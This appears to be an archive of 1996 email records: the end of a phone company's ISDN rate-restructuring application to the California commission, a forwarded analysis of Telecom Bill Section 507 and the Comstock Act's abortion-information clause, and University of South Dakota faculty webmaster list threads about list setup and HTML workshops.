that the Commission requires a summary of earnings and earning results, we incorporate herein by reference the revenue monitoring reports which we regularly files with the Commission. Rule 23(g). We are ready to have our application heard by the Commission at the earliest available date. We request that we file our testimony and exhibits 15 days after we receive notification of the establishment of hearing dates, if hearings are necessary. Rule 23(1). The requested rate increase reflects actual capital and expense costs to provide ISDN service. 6. Rule 24. We will provide notice of this application to all known interexchange carriers operating in California, our current customers of these services, and known interested parties. The list for the mailing of notice within ten days of filing is attached as Exhibit E. II. INTRODUCTION 1. Description of ISDN Service ISDN is a network platform for transmitting digital voice and data services through a limited set of standardized worldwide interfaces. Currently, two forms of this interface exist in the United States: Basic Rate Interface (""BRI"") and Primary Rate Interface ""PRI""). We currently offer three versions of BRI ISDN service: Centrex ISDN, ISDN (on business lines), and Home ISDN (on measured residential lines). Each of these offerings provide digital transmission from our central office to a customers premises. With digital (rather than analog) transmission, customers receive integrated voice/data communication capability for the transmission of circuit switch voice and data and packet switched data. These services are currently used by customers to access Internet, conduct video-teleconferencing, send and receive electronic mail, etc. Centrex ISDN service is tariffed as a permanent Category II service offering. ISDN (for business) and Home ISDN (for measured residence) are tariffed as provisional Category I services. All three of these offerings are designed to be purchased along with basic subscriber access service, i.e. the prices for ISDN service do not include basic subscriber access service. 2. Relief Requested We request that the new rate structure and new rate elements for ISDN services be approved. This will enable our prices to better reflect our costs in providing the services. We request that the ISDN (for business) and Home ISDN (for residence) offerings be made permanent. This would eliminate the provisional nature of the service. We also request that the names for Home ISDN and ISDN be changed to Personal ISDN and Business ISDN. This will eliminate customer contusion as to the use of each service. These changes are needed to assure that ISDN services better reflect its costs and that such services are marketable and attractive to customers. III. RATE RESTRUCTURING 1. Background We are proposing to restructure ISDN rates because two of our assumptions in our original ISDN tariff filing have proved inaccurate. When ISDN services were initially tariffed, prices were structured on the best information, including capital and expense requirements, available at that time. We now have information, including actual capital and expense costs, from providing service to approximately 50,000 ISDN customers. The first assumption is the occurrences of customers located more than 15- kilofeet from the serving central office. Our original studies estimated 12% of the customers would be located more than 15 kilofeet from the central office. These studies reflected that many of the earlier ISDN customers were centered closer to wire centers in more metropolitan areas. Our current studies - which are based on actual use - indicate that 24% of Business ISDN and 30% of Home ISDN customers are located more than 15 kilofeet from the central office. Furthermore, our studies indicate that the incidences of ISDN customers residing more than 15 kilofeet from the serving central office will increase as demand for telecommuting and Internet access grows. The second assumption is the amount of night and weekend usage by Home ISDN customers. Home ISDN customers currently have unlimited local usage during night and weekend time slots (daytime local usage is billed at prevailing measured service prices). The monthly recurring price for Home ISDN, ($1 5/month), was designed to cover the cost of approximately 15 hours of local usage each month and all other ISDN costs. In actual practice, the majority of customers are under 20 hours of usage each month. However, a minority of users apparently are maximizing their usage on evenings and all weekend long. This has resulted in an overall average of 47 hours of night and weekend local usage per Home ISDN customer per month. Our analyses show that our current prices will not sustain our ISDN services. This will harm both ourselves and our customers. The ISDN prices must increase in order to better reflect our costs to provide ISDN services. 2. Proposed Rate Restructuring With this application, we propose to make the following changes to the basic rate ISDN services: Price increases: * The monthly recurring prices will be increased by $8 per month for Centrex ISDN, * The charges for additional minutes of Local Use for Home and Business ISDN will be increased from $0.0105 to $0.0210 per minute for daytime usage, from $0.0073 to $0.0146 for evening usage, and from $0.0042 to $0.0084 for night/weekend usage, * The current offer to waive installation charges for a 2 year term agreement will b6 eliminated and, * The current unlimited local usage option for Home ISDN will be capped at 20 hours per month. Price decreases: * The current $4 charge for the four most popular optional features will be eliminated. These features will be automatically provisioned as part of the Basic Feature Package, * Volume and term related discounts will be introduced. * A new intraLATA toll discount plan will be introduced to meet the needs of ISDN customers. This restructuring is based on our analysis of the embedded and incremental costs of providing ISDN for the next five years. These studies incorporate process improvements and favorable pricing from our equipment vendors. As described above, the studies also reflect our estimate of the incidence of dense and remote demand for the service and actual usage. To assure that revenues better reflect costs during the next five years, our monthly recurring price for Centrex -ISDN should be increased by $8.00, the charge for additional minutes of Local Use for Home and Business ISDN should be increased as noted above, the current term related waiver of installation charges should be eliminated (the current termination liabilities relating to me two year terms will be waived for existing term customers), and a 20 hour free local usage cap should be added to Home ISDN service. There are compelling reasons to make these price changes now. Without these changes, ISDN service in the aggregate will continue to be under priced. There are approximately 50,000 existing ISDN customers. This number is expected to increase to 750,000 during the next five years. If prices do not better reflect costs, ISDN will create a significant subsidy burden that we are not in a position to support. To assure that ISDN service remains attractive to consumers, we will also eliminate the current $4.00 charge for the four most popular ISDN features: Hold, Consultation Hold, Three-way Conferencing, and Call Transfer. In order to allow our customers to better manage their telecommunications costs, we will offer term and volume discounts as follows: 3yr term discount/month 4yr term discount/month ISDN (Bus) NA $1.00 Centrex ISDN $1.00 $2.00 Product Monthly Discount/Line Single location, 10 or more lines ISDN $2.00 Centrex ISDN $2.00 Home ISDN $1.00 Multiple locations, 10 or more lines ISDN $1.00 Centrex ISDN $1.00 In addition, we will offer a unique set of toll discount plans. These discounts are designed to mirror the pricing on applications such as Internet access services, i.e. a fixed discounted price for a specified amount of usage. Here is the proposed discount schedule. Call Allowance Monthly Rate Installation Charge $20.00 $12.95 $5.00 $50.00 $32.50 $5.00 $100.00 $64.95 $5.00 $150.00 $97.00 $5.00 $200.00 $129.50 $5.00 $250.00 $159.50 $5.00 $300.00 $189.50 $5.00 Customers who take advantage of these discounts will be able minimize the overall cost of ISDN applications. 3. Price Levels We are proposing to increase the local usage charges on Home and Business ISDN in order to allow the customers as much flexibility as possible to control the cost of their service. These new ISDN prices are designed to generate revenues that should cover incremental costs for Home and Business ISDN, i.e. a revenue-to-cost relationship close to 1.0. The revenue-to-cost ratio for Centrex ISDN revenues will be higher. Increased usage charges are not being proposed for Centrex lSDN because there is very little local usage over Centrex ISDN lines (e.g. most local calls are unbilled intercom calls). This is caused by the fact that Centrex customers tend to be located in densely populated areas, i.e. Centrex ISDN costs reflect a relatively low incidence of high cost service. We are requesting an $8.00 increase in Centrex ISDN prices to maintain an appropriate price relationship between the various ISDN services, i.e. Centrex ISDN is currently priced at a premium above Home and Business ISDN because of the additional functionality that Centrex ISDN provides to customers. This price premium should continue. If Centrex ISDN prices are not increased commensurate with the other ISDN service, it is likely that an increasing number of customers in remote locations would select this service. If this were to happen, Centrex ISDN costs would increase, possibly creating the need for more price changes. The cost studies, included with this Application collectively as Exhibit F, are filed under seal because the information contained therein is proprietary, confidential, and details the direct cost of providing ISDN. IV. REVENUE IMPACT The revenue effect of this Application is shown in Exhibit D, attached hereto. V. PROPOSED RATE CHANGES AND TARIFF MODIFICATIONS A summary of the present and proposed rate elements is contained in Exhibit B. Tariff sheets evidencing the proposed changes are contained in Exhibit C. We have provided to the Commission Staff (Legal, CACD, and DRA), the cost support and associated workpapers upon which the revised tariffs are predicated under General Order 66-C. VI. CONCLUSION Pursuant to Article 4 of the Commission's Rules of Practice and Procedure, we respectfully request that the Commission approve our proposed changes to Schedule Cal.P.U.C. Nos. A5.4.l and A9. 1.1. The requested rate increases and restructuring are consistent with prior Commission rulings and are designed to price our ISDN service in a way that better reflects the costs of ISDN. EXHIBIT B Rate Element Old:Monthly Install New:Monthly Install (Business) ISDN FPKO3 $11.00 $125.00* $11.00 $125.00* Centrex ISDN BAPKO $150.00* $24.00 $150.00* Home ISDN FPKO4 $15.00 $125.00* $15.00 $125.00* D Channel Packet APDPS $4.00 $ 25.00 $ 5.00 $ 25.00 Analog Shared Directory # $2.00 $ 5.00 $ 1.00 $ 5.00 Secondary Directory # $2.00 $ 5.00 $ 2.00 $ 5.00 *no longer waived with 24 month termination liability Term Discounts: - ISDN - 4 Yrs. N.A. N.A. ($1.00) N.A. - Centrex ISDN - 3 Yrs. N.A. N.A. ($1.00) N.A. - Centrex ISDN - 4 Yrs. N.A. N.A. ($2.00) N.A. Volume Discounts (10 or more lines at a single location): - ISDN N.A. N.A. ($2.00) N.A. - Centrex ISDN N.A. N.A. ($2.00) N.A. - HomeISDN N.A. N.A. ($1.00) N.A. Volume Discounts (10 or more lines at multiple locations): - lSDN N.A. N.A. ($1.00) N.A. - CentrexISDN N.A. N.A. ($1.00) N.A. Local Plus Usage Plans $20 Call Allowance N.A. N.A. $ 12.95 $ 5.00 $50 Call Allowance N.A. N.A. $ 32.50 $ 5.00 $100 Call Allowance N.A. N.A. $ 64.95 $ 5.00 $150 Call Allowance N.A. N.A. $ 97.00 $ 5.00 $200 Call Allowance N.A. N.A. $129.50 $ 5.00 $250 Call Allowance N.A. N.A. $159.50 $ 5.00 $300 Call Allowance N.A. N.A. $189.50 $ 5.00 Local Usage Rates for (Business lSDN and Home ISDN): Day Rate Old Each Additional Minute New Each Additional Minute Zones 1 & 2(0-12 miles) $.0105 $.0210 Evening Rate Old Each Additional Minute New Each Additional Minute Zones I & 2(0-12 miles) $.0073 $.0146 Night/Weekend Rate Old Each Additional Minute New Each Additional Minute Zones I & 2(0-12 miles) $.0042 $.0084 EXHIBIT D REVENUE EFFECT 1996 REVENUE EFFECT $ 4,652.293 Source: Workpapers, Page3Bl.M22 ",0,0 InternetInterest@framsparc.ocf.llnl.gov,booloo@cats.ucsc.edu,"Sat, 03 Feb 1996 06:21:44 -0800",Research on Abortion Restrictions of the CDA,"Date: Fri, 02 Feb 1996 18:20:50 -0500 From: Dave Farber Subject: IP: Research on Abortion Restrictions of the CDA Date: Fri, 2 Feb 1996 15:16:51 -0800 (PST) From: telstar@wired.com (--Todd Lappin-->) Here's what I've found out about the limitations on the dissemination of abortion materials contained within the telecom reform bill: (The amended text of the Telecom Bill follows below, along with U.S.C. 18, Section 1462.) Basically we're talking about a provision that extends a section of the US Code (The Comstock Act) prohibiting certain kinds of ""obscene"" speech to include ""interactive computer services."" Schroeder's office (202-225-4431) faxed me their position... they say that the changes ""will criminalize a wide array of public health information relating to abortion, including discussion of RU-486 on the Internet."" Perhaps, but... Sam Stratman from Rep. Hyde's office (202-225-4561) insists subsection (c) of Section 1462 has already been invalidated by the courts (although it remains on the books), so the extension of 1462 to include ""interactive computer services"" would have no bearing on abortion-related materials. According to the Center for Reproductive Law & Policy (212-514-5534), the last time ANY court has ruled on subsection (c) was in 1919... long before Roe v. Wade. They say the statute remains on the books, although it has long gone unenforced. Steven Lieberman from the NY State Bar clarified things even further. Lieberman says that the prohibitions in subsection (c) against the dissemination of information about abortion were invalidated by the Supreme Court in Bigelow v. Virginia in 1975. (This was a case concerning the availablity of out-of-state abortion materials in the state of Virginia.) As for the prohibitions against any ""drug, medicine, article, or thing designed, adapted, or intended for producing abortion""... these were invalidated by Roe v. Wade. So, as Lieberman summarized the situation, ""A prosecution under subsection (c) of Section 1462 would be doomed from the outset."" Nevertheless, from a strictly formal standpoint, it appears that the prohibitions on abortion information are indeed in place... even if they are toothless. --Todd Lappin--> WIRED Magazine ------------------------------------------------------------------------ Sec. 507 of the Telecom Bill Ammends Section 1462 of title 18 of the U.S. Code (Chapter 71), in ways which may make sending the following over the Internet illegal: o any text, graphic, or sound that is lewd, lascivious, or filthy o any information telling about how to obtain or make abortions and drugs, or obtaining or making anything that is for indecent or immoral use Here is Section 1462 as Ammended: (Telecom bill chnages in ""<"" and "">""): Section 1462. Importation or transportation of obscene matters Whoever brings into the United States, or any place subject to the jurisdiction thereof, or knowingly uses any express company or other common carrier , for carriage in interstate or foreign commerce - (a) any obscene, lewd, lascivious, or filthy book, pamphlet, picture, motion-picture film, paper, letter, writing, print, or other matter of indecent character; or (b) any obscene, lewd, lascivious, or filthy phonograph recording, electrical transcription, or other article or thing capable of producing sound; or (c) any drug, medicine, article, or thing designed, adapted, or intended for producing abortion, or for any indecent or immoral use; or any written or printed card, letter, circular, book, pamphlet, advertisement, or notice of any kind giving information, directly or indirectly, where, how, or of whom, or by what means any of such mentioned articles, matters, or things may be obtained or made; or Whoever knowingly takes , from such express company or other common carrier any matter or thing the carriage of which is herein made unlawful - Shall be fined not more than $5,000 or imprisoned not more than five years, or both, for the first such offense and shall be fined not more than $10,000 or imprisoned not more than ten years, or both, for each such offense thereafter. ----------- Here is the text which addes the interactive computer service part in the Telecom Bill: SEC. 507. CLARIFICATION OF CURRENT LAWS REGARDING COMMUNICATION OF OBSCENE MATERIALS THROUGH THE USE OF COMPUTERS. (a) Importation or Transportation.--Section 1462 of title 18, United States Code, is amended-- (1) in the first undesignated paragraph, by inserting ``or interactive computer service (as defined in section 230(e)(2) of the Communications Act of 1934)'' after ``carrier''; and (2) in the second undesignated paragraph-- (A) by inserting ``or receives,'' after ``takes''; (B) by inserting ``or interactive computer service (as defined in section 230(e)(2) of the Communications Act of 1934)'' after ``common carrier''; and (C) by inserting ``or importation'' after ``carriage''. ----------- Media Notes: USAToday 02/01/96 - 07:37 PM ET http://www.usatoday.com/news/washdc/ncs16.htm Telecommunications deregulation breaks down electronic walls ""At one point, the debate veered off on abortion. Seeing a ''high-tech gag rule,'' Rep. Nita Lowey, D-N.Y., joined by Pat Schroeder, D-Colo., and several other women lawmakers, asserted the anti-pornography provisions would outlaw discussions about abortion over the Internet, the global computer network. Rep Henry Hyde, R-Ill., a leading abortion foe, assured members that nothing in the bill suggested any restrictions on discussions about abortion."" Well, Henry Hyde was right - nothing in the bill suggests restrictions on abortion discussion - the restrictions are in Title 18 of the U.S. Code, which now includes computer networks. ----------- Thanks to the Cornell Law School Legal Information Institute (http://www.law.cornell.edu/) and the Alliance for Competitive Communications (http://www.bell.com/) for source text. -Thomas Edwards",0,1 COLLETTE@charlie.usd.edu,webula-l@sunbird.usd.edu,"Thu, 15 Feb 1996 07:43:55 -0600",I don't know why this is.
,"Reply-To: webula-l@sunflowr.usd.edu Originator: webula-l@sunbird.usd.edu Sender: webula-l@sunflowr.usd.edu If you notice the headers Reply-To: and Sender: and both from sunflowr. The way things are set up this should not be. I has this problem with another recent list and it seemed to clear itself up within a couple of weeks. Until all the above headers read sunbird, we will not be able to reply to messages. Hopefully I can get it working soon. -Joe C. Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id IAA16674 for ; Thu, 15 Feb 1996 08:13:22 -0600 From: COLLETTE@charlie.usd.edu Date: Thu, 15 Feb 1996 8:11:26 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960215081126.119bf@charlie.usd.edu> Subject: RE: I don't know why this is. It seems to be working fine now!!!!!!!!!1 Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id IAA17075 for ; Thu, 15 Feb 1996 08:29:13 -0600 Received: (from nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) id IAA07829; Thu, 15 Feb 1996 08:27:00 -0600 Date: Thu, 15 Feb 1996 08:26:59 -0600 (CST) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: I don't know why this is. In-Reply-To: <960215074355.130d2@charlie.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I don't either...and I'm doing some playing around with the ""from"" field in my inbox. Right now I can't tell when something's from the list--it says it's from the person (Which is cool, by the way, but I wanna see WEBULA-L or something). h. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Heidi M. Nickisch, I.D. Weeks Library University of South Dakota, Vermillion, SD 57069-2390 Tel 605/677-6088 Fax 605/677-5488 Internet: nickisch@sundance.usd.edu URL: http://www.usd.edu/~nickisch/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id IAA17298 for ; Thu, 15 Feb 1996 08:37:11 -0600 Received: (from nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) id IAA08128; Thu, 15 Feb 1996 08:34:57 -0600 Date: Thu, 15 Feb 1996 08:34:56 -0600 (CST) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: The Naming of Lists In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Ok, I think I got it. When one of y'all sends to the list, I get a message from COLLETTE@charlie.u (etc.) and when I send to the list, I get a beep from pine saying I have new mail from Heidi M. Nickisch, but my inbox reads To: Multiple recip ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Heidi M. Nickisch, I.D. Weeks Library University of South Dakota, Vermillion, SD 57069-2390 Tel 605/677-6088 Fax 605/677-5488 Internet: nickisch@sundance.usd.edu URL: http://www.usd.edu/~nickisch/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id IAA17894 for ; Thu, 15 Feb 1996 08:57:18 -0600 Received: (from kzimm@localhost) by sundance.usd.edu (8.6.12/8.6.12) id IAA09292; Thu, 15 Feb 1996 08:55:04 -0600 Date: Thu, 15 Feb 1996 08:55:01 -0600 (CST) From: Karen Zimmerman X-Sender: kzimm@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: The Naming of Lists In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Well, I just had to try out the reply function. --kpz Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id JAA18125 for ; Thu, 15 Feb 1996 09:01:46 -0600 Received: (from kzimm@localhost) by sundance.usd.edu (8.6.12/8.6.12) id IAA09410; Thu, 15 Feb 1996 08:59:31 -0600 Date: Thu, 15 Feb 1996 08:59:31 -0600 (CST) From: Karen Zimmerman X-Sender: kzimm@sundance To: webula-l Subject: Ready to announce? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Are we ready to announce the listserv at today's meeting? Do we need to do up any kind of very very simple ""how to subscribe"" or do we assume that most of these people are list literate? (having just taken three tries to unsub from charlie myself, I wonder how literate I am myself....heh) --Karen Z. Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id JAA18507 for ; Thu, 15 Feb 1996 09:13:56 -0600 Received: (from nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) id JAA09864; Thu, 15 Feb 1996 09:11:41 -0600 Date: Thu, 15 Feb 1996 09:11:41 -0600 (CST) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: Ready to announce? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Yeah, I guess we can announce it. Folks should know that this is new to us. I guess I could sub everyone on the mail list. Shd we wait and ask if anyone *doesn't* want me to do that? And in any way (and if so, what) do we limit subs? (""I wanna learn, but I don't know any of this yet"") aack. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Heidi M. Nickisch, I.D. Weeks Library University of South Dakota, Vermillion, SD 57069-2390 Tel 605/677-6088 Fax 605/677-5488 Internet: nickisch@sundance.usd.edu URL: http://www.usd.edu/~nickisch/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id PAA19692 for ; Fri, 16 Feb 1996 15:49:38 -0600 Received: (from nickisch@localhost) by sunflowr.usd.edu (8.6.12/8.6.9) id PAA14803; Fri, 16 Feb 1996 15:43:24 -0600 Date: Fri, 16 Feb 1996 15:43:22 -0600 (CST) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sunflowr To: WEBULA-L Subject: Administrivia Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Salutations! And welcome to Heidi's February Webula-L Administrivia Email! You may be surprised to find yourself subscribed to WEBULA-L, The USD Faculty Webmasters Listserv. However, the group decided at our last meeting that it would save everyone time and effort if I simply subscribed everyone on Karen's email list. This will REPLACE Karen's email list and all announcements will come through here. If you *don't* want to be subscribed to the list, then follow the directions to unsubscribe yourself: 1. send an email to listproc@sunbird.usd.edu 2. leave the subject line blank, and 3. in the body of the message, put: unsubscribe webula-l That's it. That's all there is to it. I'll send out the HELP file as well, but for those of you who would like it *now*, send an email to listproc@sunbird.usd.edu where the only word in the body of the message is help (...and remember to leave the subject line blank!) Pleasepleaseplease remember that there are two addresses here: 1. the listproc address (listproc@sunbird.usd.edu) where you send your commands to subscribe, unsubscribe, etc., and 2. the webula-l address (webula-l@sunbird.usd.edu) where you send your questions/comments/requests/stuff to the other members of webula-l. Please don't confuse the two addresses! (I had to say it once, and I won't say it again. I promise!) You'll have noticed that your subscription message gives you a password. You shouldn't need this password and may safely ignore it, though you may just as safely validate it as per instructions given in that email. And a final request. If you have problems with your subscription in any way, please let me know by private email (nickisch@sundance.usd.edu), and I'll do my best to take care of the problem. Cheers, Heidi ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Heidi M. Nickisch, I.D. Weeks Library University of South Dakota, Vermillion, SD 57069-2390 Tel 605/677-6088 Fax 605/677-5488 Internet: nickisch@sundance.usd.edu URL: http://www.usd.edu/~nickisch/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id QAA22971 for ; Fri, 16 Feb 1996 16:54:48 -0600 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id QAA07722; Fri, 16 Feb 1996 16:52:32 -0600 Date: Fri, 16 Feb 1996 16:52:29 -0600 (CST) From: Michael Marek X-Sender: mmarek@sundance To: webula-l@sunbird.usd.edu Subject: Re: Administrivia In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 16 Feb 1996, Heidi M. Nickisch wrote: > You may be surprised to find yourself subscribed to WEBULA-L, The USD > Faculty Webmasters Listserv. However, the group decided at our last > meeting that it would save everyone time and effort if I simply subscribed > everyone on Karen's email list. This will REPLACE Karen's email list > and all announcements will come through here. I haven't had time to attend the Webmaster's meetings so far. Is this intended as a nuts-and-bolts ""how to I change the color of the background"" discussion list, or more one designed for policy matters? --------------------------- | Michael Marek | | USD Foundation | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA20441 for ; Wed, 21 Feb 1996 10:46:40 -0600 Received: (from kzimm@localhost) by sundance.usd.edu (8.6.12/8.6.12) id KAA28523; Wed, 21 Feb 1996 10:44:20 -0600 Date: Wed, 21 Feb 1996 10:44:19 -0600 (CST) From: Karen Zimmerman X-Sender: kzimm@sundance To: webula-l Subject: HTML Workshops Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hey, hey! This is the quietest list group I've ever subscribed to.... Heidi and I would like you all to promote our upcoming Saturday HTML Workshops.... We have at least 7 spots open for this coming Saturday, February 24 and at least 15 openings for Saturday March 30. Here's the info: ""HATCH YOUR OWN HOMEPAGE"" Basic HTML and Finding Your Way on the Suns I.D. Weeks Library Room 323 1:00 - 5:00 p.m. Saturday February 24 Saturday March 30 For those of you who have attended our HTML I and II, this session will be an ""all-in-one"" and will include Joe Reynoldson's tutorials Simple and Simple2 (THANKS JOE!!) AND we will be scanning one image per participant and showing how to get it to their www directory. We will cover just enough UNIX commands to confuse them... :) And if time remains, who knows what comedy routines we'll come up with. Would it be possible to put an announcement of ""spaces still available"" in the Suns MOTD? Joe? Thanks! --Karen Zimmerman http://www.usd.edu/~kzimm/ kzimm@sundance.usd.edu 677-5450 Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id QAA10725 for ; Wed, 21 Feb 1996 16:06:28 -0600 From: CFEIGHT@charlie.usd.edu Date: Wed, 21 Feb 1996 16:04:33 -0600 (CST) To: WEBULA-L@sunbird.usd.edu Message-Id: <960221160433.1bb13@charlie.usd.edu> Subject: mailout functions Well, someone has to be the first to post a foolish questions, so I decided to volunteer myself (and besides, I was touched by Heidi's concern over our lack of on-line activity). Would someone be willing to discuss the different approaches to including a mailer or ""mailout"" function on your homepage, and what you feel the advantages to each are? Thanks a lot! Cheri ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cheryl Feight USD College of Fine Arts 677-5712 cfeight@charlie.usd.edu Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id IAA09687 for ; Thu, 22 Feb 1996 08:05:13 -0600 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id IAA19109; Thu, 22 Feb 1996 08:02:51 -0600 Date: Thu, 22 Feb 1996 08:02:51 -0600 (CST) From: Michael Marek X-Sender: mmarek@sundance To: webula-l@sunbird.usd.edu Subject: Re: mailout functions In-Reply-To: <960221160433.1bb13@charlie.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 21 Feb 1996 CFEIGHT@charlie.usd.edu wrote: > Well, someone has to be the first to post a foolish questions, so > I decided to volunteer myself (and besides, I was touched by Heidi's > concern over our lack of on-line activity). I asked a question last Friday about the purpose of this list, and have had no replies yet, although one person I've talked to in person has mentioned seeing it. :-) --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA17607 for ; Thu, 22 Feb 1996 10:51:27 -0600 Received: (from kzimm@localhost) by sundance.usd.edu (8.6.12/8.6.12) id KAA27512; Thu, 22 Feb 1996 10:49:04 -0600 Date: Thu, 22 Feb 1996 10:49:04 -0600 (CST) From: Karen Zimmerman X-Sender: kzimm@sundance To: webula-l@sunbird.usd.edu Subject: Purpose of list In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 22 Feb 1996, Michael Marek wrote: > I asked a question last Friday about the purpose of this list, and have > had no replies yet, although one person I've talked to in person has > mentioned seeing it. :-) Well, I guess I missed your earlier question...but I'd say the purpose of the list is whatever you all decide it is. I view it as a chance for people to ask questions (from newbie to advanced) and others would respond based on their experiences. It's kind of difficult to have really good discussions in the meetings, and this offers a chance for interactive communication. On the other hand, I don't feel I know enough about mailers/mail out thingies to respond to Cheri's question...anyone else? --Karen Zimmerman Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id OAA00233 for ; Thu, 22 Feb 1996 14:27:57 -0600 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Thu, 22 Feb 1996 12:26:01 -0600 (CST) X-Sender: dfarland@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Thu, 22 Feb 1996 12:29:45 -0600 To: webula-l@sunbird.usd.edu From: dfarland@sunbird.usd.edu (Dale S. Farland) Subject: Re: mailout functions Cheri, I'm probably not the one to answer your question, but I will ask for clarification. I wasn't sure what you meant by "". . . different approaches to including. . .."" Where on the page, what the purpose is of including a ""mailout,"" how to do the HTML, etc. I have some preliminary thoughts about some of the above and am probably naive about others. Am I on track, Cheri? Let me know. Dale _________________________________________________________ Dale S. Farland, InTEC, School of Education, 605-677-5844 DFARLAND@SUNBIRD.USD.EDU PS Thanks, Cheri, for ""kick-starting"" discussion, and thanks to Karen & Heidi for all your work! >Would someone be willing to discuss the different approaches to >including a mailer or ""mailout"" function on your homepage, and >what you feel the advantages to each are? > >Thanks a lot! > >Cheri > >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >Cheryl Feight USD College of Fine Arts >677-5712 cfeight@charlie.usd.edu Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id RAA14277 for ; Thu, 22 Feb 1996 17:35:26 -0600 Received: (from nickisch@localhost) by sunflowr.usd.edu (8.6.12/8.6.9) id MAA28803; Thu, 22 Feb 1996 12:58:38 -0600 Date: Thu, 22 Feb 1996 12:58:37 -0600 (CST) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sunflowr To: WEBULA-L Subject: mailout functions Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm forwarding this from Dale Farland...we're still ironing out some address conflicts! :) --Heidi ------------------------------------------------------------------------------- Cheri, I'm probably not the one to answer your question, but I will ask for clarification. I wasn't sure what you meant by "". . . different approaches to including. . .."" Where on the page, what the purpose is of including a 